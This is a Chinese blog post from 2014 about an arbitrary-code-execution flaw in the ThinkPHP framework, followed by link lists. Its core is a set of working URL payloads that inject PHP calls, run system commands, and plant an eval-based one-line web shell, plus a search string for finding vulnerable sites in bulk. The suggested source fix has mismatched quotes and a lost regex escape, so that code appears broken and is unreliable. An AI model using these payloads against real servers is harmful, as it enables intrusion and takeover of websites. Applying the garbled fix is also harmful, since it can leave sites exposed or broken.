ThinkPHP框架任意代码执行漏洞的利用及其修复方法


Posted in PHP onJuly 04, 2014

ThinkPHP是国内著名的开源的PHP框架,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。早期的思想架构来源于Struts,后来经过不断改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结 构和MVC模式,融合了Struts的Action和Dao思想和JSP的TagLib(标签库)、RoR的ORM映射和ActiveRecord模式, 封装了CURD和一些常用操作,单一入口模式等,在模版引擎、缓存机制、认证机制和扩展性方面均有独特的表现.
 
然而近期thinkphp框架爆出了一个任意代码执行漏洞,其危害性相当的高,漏洞利用方法如下:
 

index.php/module/aciton/param1/${@print(THINK_VERSION)}
 
index.php/module/aciton/param1/${@function_all()}

其中的function_all代表任何函数,比如:

index.php/module/aciton/param1/${@phpinfo()}

就可以获取服务器的系统配置信息等。

index.php/module/action/param1/{${system($_GET['x'])}}?x=ls -al

可以列出网站文件列表

index.php/module/action/param1/{${eval($_POST[s])}}

就可以直接执行一句话代码,用菜刀直接连接.

这样黑客们就可以直接通过google批量搜索关键字:thinkphp intitle:系统发生错误 来获取更多使用thinkphp框架的网站列表。可见其危害性相当的大。
 
thinkphp框架执行任意代码漏洞修复方法:
 
用户可下载官方发布的补丁:
 
http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838
 
或者或者直接修改源码:

将/ThinkPHP/Lib/Core/Dispatcher.class.php文件中的

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

修改为:

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2';', implode($depr,$paths));

将preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行。
 
注:本文仅供学习参考使用,请不要用于非法用途。

希望本文所述对大家基于ThinkPHP框架的PHP程序设计有所帮助。

PHP 相关文章推荐
通过文字传递创建的图形按钮
Oct 09 PHP
PHP字符串 ==比较运算符的副作用
Oct 21 PHP
将文件夹压缩成zip文件的php代码
Dec 14 PHP
php简单的会话类代码
Aug 08 PHP
PHP中fwrite与file_put_contents性能测试代码
Aug 02 PHP
PHP扩展模块Pecl、Pear以及Perl的区别
Apr 09 PHP
帝国CMS留言板回复后发送EMAIL通知客户
Jul 06 PHP
PHP环境中Memcache的安装和使用
Nov 05 PHP
调试WordPress中定时任务的相关PHP脚本示例
Dec 10 PHP
LaravelS通过Swoole加速Laravel/Lumen详解
Mar 02 PHP
php设计模式之单例模式用法经典示例分析
Sep 20 PHP
TP5框架实现签到功能的方法分析
Apr 05 PHP
php实现批量压缩图片文件大小的脚本
Jul 04 #PHP
PHP实现的英文名字全拼随机排号脚本
Jul 04 #PHP
PHP临时文件的安全性分析
Jul 04 #PHP
PHP curl实现抓取302跳转后页面的示例
Jul 04 #PHP
PHP不用递归遍历目录下所有文件的代码
Jul 04 #PHP
对于ThinkPHP框架早期版本的一个SQL注入漏洞详细分析
Jul 04 #PHP
PHP+Memcache实现wordpress访问总数统计(非插件)
Jul 04 #PHP
You might like
239军机修复记
2021/03/02 无线电
PHP中文乱码解决方案
2015/03/05 PHP
php实现用已经过去多长时间的方式显示时间
2015/06/05 PHP
php+mysql实现的二级联动菜单效果详解
2016/05/10 PHP
thinkphp5使用无限极分类
2019/02/18 PHP
PHP代码加密的方法总结
2020/03/13 PHP
dojo 之基础篇(二)之从服务器读取数据
2007/03/24 Javascript
jquery中通过父级查找进行定位示例
2013/06/28 Javascript
文本框(input)获取焦点(onfocus)时样式改变的示例代码
2014/01/10 Javascript
JavaScript中Date.toSource()方法的使用教程
2015/06/12 Javascript
JavaScript实现向右伸出的多级网页菜单效果
2015/08/25 Javascript
JavaScript 对象字面量讲解
2016/06/06 Javascript
Extjs 点击复选框在表格中增加相关信息行
2016/07/12 Javascript
js+div+css下拉导航菜单完整代码分享
2016/12/28 Javascript
jQuery层级选择器实例代码
2017/02/06 Javascript
微信小程序选择图片和放大预览图片功能
2017/11/02 Javascript
解决webpack dev-server不能匹配post请求的问题
2018/08/24 Javascript
详解vuex数据传输的两种方式及this.$store undefined的解决办法
2019/08/26 Javascript
react-native聊天室|RN版聊天App仿微信实例|RN仿微信界面
2019/11/12 Javascript
Vue路由 重定向和别名的区别说明
2020/09/09 Javascript
python爬虫入门教程之糗百图片爬虫代码分享
2014/09/02 Python
python从入门到精通(DAY 2)
2015/12/20 Python
python实现文本去重且不打乱原本顺序
2016/01/26 Python
Python使用pylab库实现画线功能的方法详解
2017/06/08 Python
pytorch点乘与叉乘示例讲解
2019/12/27 Python
python 读取、写入txt文件的示例
2020/09/27 Python
英国邮购活的植物主要供应商:Gardening Direct
2019/01/28 全球购物
高中打架检讨书
2014/02/13 职场文书
出售房屋委托书范本
2014/09/24 职场文书
2014年维修工作总结
2014/11/22 职场文书
务虚会发言材料
2014/12/25 职场文书
结婚保证书
2015/01/16 职场文书
小学教师党员承诺书
2015/04/27 职场文书
就业证明函
2015/06/17 职场文书
医学生自荐信范文(2016精选篇)
2016/01/28 职场文书
PyTorch device与cuda.device用法
2022/04/03 Python